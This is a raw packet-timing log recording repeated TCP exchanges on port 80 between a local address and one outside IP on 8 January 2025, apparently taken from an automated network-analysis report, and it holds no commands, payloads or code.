Jan 8, 2025 16:18:16.477122068 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477173090 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477241039 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477253914 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477330923 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477372885 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477474928 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477498055 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477539062 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477603912 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477632046 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477745056 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477840900 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.477849007 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477940083 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.477957964 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478034019 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478074074 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478192091 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478229046 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478290081 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478343964 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478354931 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478463888 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478540897 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478579044 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478641987 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478694916 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478734970 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478780985 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478895903 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.478940964 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.478988886 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.479038954 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479125023 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479242086 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479360104 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479509115 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479604006 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479712963 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479831934 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.479866982 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.479943037 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480005026 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480050087 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480067015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480165958 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480180025 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480283022 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480298042 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480344057 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480428934 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480458975 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480566025 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480633020 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480648041 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480724096 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.480765104 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480886936 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.480945110 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481046915 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481123924 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481131077 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481205940 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481236935 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481297970 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481348991 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481388092 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481488943 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481502056 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481601000 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481698990 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481709003 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481812954 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481820107 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.481890917 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.481937885 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482053041 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482060909 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482112885 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482189894 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482234001 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482281923 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482399940 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482440948 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482538939 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482553959 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482651949 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482760906 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482763052 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482852936 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482872009 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.482948065 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.482996941 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483036995 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483135939 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483143091 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483248949 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483335018 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483339071 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483386040 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483447075 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483542919 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483571053 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483663082 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483689070 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483726978 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483841896 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.483850956 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.483962059 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484009981 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.484042883 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484105110 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.484155893 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484205961 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.484308004 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484375954 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.484389067 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484507084 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484622955 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484741926 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484860897 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.484973907 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485095978 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485183954 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485210896 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485352993 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485408068 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485428095 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485444069 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485534906 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485534906 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485560894 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485678911 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485755920 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485822916 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.485830069 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.485966921 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486033916 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486068010 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486129045 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486183882 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486207962 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486263037 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486341000 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486392975 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486414909 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486521006 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486524105 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486630917 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486716986 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486731052 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.486778975 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486884117 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.486897945 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487004995 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487081051 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487092018 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487171888 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487196922 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487246990 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487360954 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487432003 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487447023 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487523079 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487555981 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487611055 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487663031 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487781048 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487781048 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.487832069 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487926006 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.487950087 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488054037 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488107920 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488132954 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488198996 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488250971 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488303900 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488400936 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488408089 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488521099 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488588095 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488600969 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488666058 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488745928 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488764048 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488873005 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.488914013 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.488959074 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489031076 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.489083052 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.489085913 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489197016 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489249945 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.489348888 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489418030 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489538908 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489655018 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489777088 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.489887953 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490005016 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490060091 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490123987 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490237951 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490283966 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490328074 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490394115 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490422964 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490506887 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490602016 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490617990 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490653038 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490725040 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490773916 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490823984 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.490878105 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.490994930 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491030931 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491055012 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491161108 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491175890 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491225004 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491343021 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491384983 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491440058 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491550922 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491592884 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491602898 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491693974 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491760015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.491813898 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491904974 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.491921902 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492033005 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492108107 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492137909 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492218971 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492234945 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492307901 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492347956 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492460012 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492470980 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492511988 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492604017 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492630959 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492743015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492799044 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492818117 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.492866039 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492980957 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.492988110 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493094921 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493149996 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493164062 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493279934 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493289948 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493360996 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493396997 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493486881 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493515015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493607998 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493633032 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493695974 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.493796110 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493863106 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.493978977 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494096994 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494224072 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494359016 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494457960 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494577885 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494592905 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.494755030 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494775057 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.494838953 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494904995 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.494920015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.494971037 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495084047 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495091915 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495193005 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495245934 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495270967 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495349884 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495384932 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495490074 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495501041 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495543957 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495675087 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495687962 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495790958 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495861053 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.495867968 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495944023 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.495970011 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496027946 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496134043 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496151924 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496206045 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496260881 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496360064 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496372938 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496483088 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496542931 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496556044 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496608973 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496725082 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496777058 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496792078 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496867895 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.496906996 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.496937037 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.497036934 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497139931 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497140884 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.497221947 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.497246027 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497313023 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.497411013 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497452974 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.497488976 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497606993 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497729063 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497903109 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.497989893 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498080015 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498193026 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498249054 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498322964 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498440981 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498475075 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498547077 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498604059 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498621941 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498707056 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498785973 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.498806000 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498882055 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.498917103 CET	80	49719	185.125.51.5	192.168.11.20
